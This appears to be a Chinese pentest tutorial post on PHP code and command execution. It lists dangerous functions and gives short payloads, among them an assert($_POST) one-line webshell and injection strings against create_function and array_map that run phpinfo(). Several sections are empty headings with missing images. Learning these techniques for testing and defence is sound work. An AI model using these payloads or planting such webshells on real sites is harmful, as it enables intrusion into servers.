码迷,mamicode.com
首页 > 其他好文 > 详细

命令执行tips

时间:2019-05-12 01:50:05      阅读:151      评论:0      收藏:0      [点我收藏+]

标签:div   create   code   字符   需要   color   参数   font   语句   

介绍:

命令执行漏洞概念:当应用需要调用一些外部程序去处理内容的情况下,就会用到一些执行系统命令的函数。如PHP中的system,exec,shell_exec等,当用户可以控制命令执行函数中的参数时,将可注入恶意系统命令到正常命令中,造成命令执行攻击。

 

代码执行

${}执行代码
eval
assert
preg_replace
create_function()
call_user_func()/call_user_func_array()
array_filter()

方法:

${phpinfo()};
eval(‘echo hsy;‘);
//url?x=phpinfo()
<?php assert($_POST[‘x‘]); ?>

preg_replace()

mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )

tips

 

$b = preg_replace("/abc/e",$b,‘abcd‘);

 

create_function()

函数create_function主要用来创建匿名函数

string create_function ( string $args , string $code )

例子:

<?php
$x= create_function(‘$x‘,‘echo $x+1;‘);
$x(1);
?>
output:2

当我在构造匿名函数第二个参数的位置放置我想执行的语句时,这个语句就会成立。

$a = ‘phpinfo()‘;
$b = create_function(" ",$a);
$b();
?>

借鉴了网上的一个例子:

<?php

$id = $_GET[‘id‘];

$code = ‘echo $name.‘.‘的编号是‘.$id.‘;‘;

$b = create_function(‘$name‘,$code);
function ss($name){
    echo $name ."编号".$id;
}
$b(‘sd‘);

?>

构造payload:

?id=2;}phpinfo();/* 

传入后代码执行结果:

function ss($name){
    echo $name ."编号".2;
}phpinfo();/*
}
$b(‘sd‘);

array_map()

array array_map ( callable $callback , array $array1 [, array $... ] )
array_map():返回数组,是为 array1 每个元素应用 callback函数之后的数组。 callback 函数形参的数量和传给 array_map() 数组数量,两者必须一样。

array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新值的数组。

不难理解哈,就是第一个参数作为自定义的函数,后一个参数作为数组下标。

<?php
$a = $_GET[‘a‘];

$b = $_GET[‘b‘];

$array[0] = $b;

$c = array_map($a,$array);

?>
//?a=assert&b=phpinfo();

 

命令执行

    system()

    passthru()

    exec()

    shell_exec()

    `反引号

    ob_start()

    mail函数+LD_PRELOAD执行系统命令

    system()
  • system

技术图片

  • passthru()

 技术图片

  • exec()

技术图片

  • shell_exec()

技术图片

  • `反引号

技术图片

 

敏感字符绕过

 

命令执行tips

标签:div   create   code   字符   需要   color   参数   font   语句   

原文地址:https://www.cnblogs.com/sylover/p/10850690.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!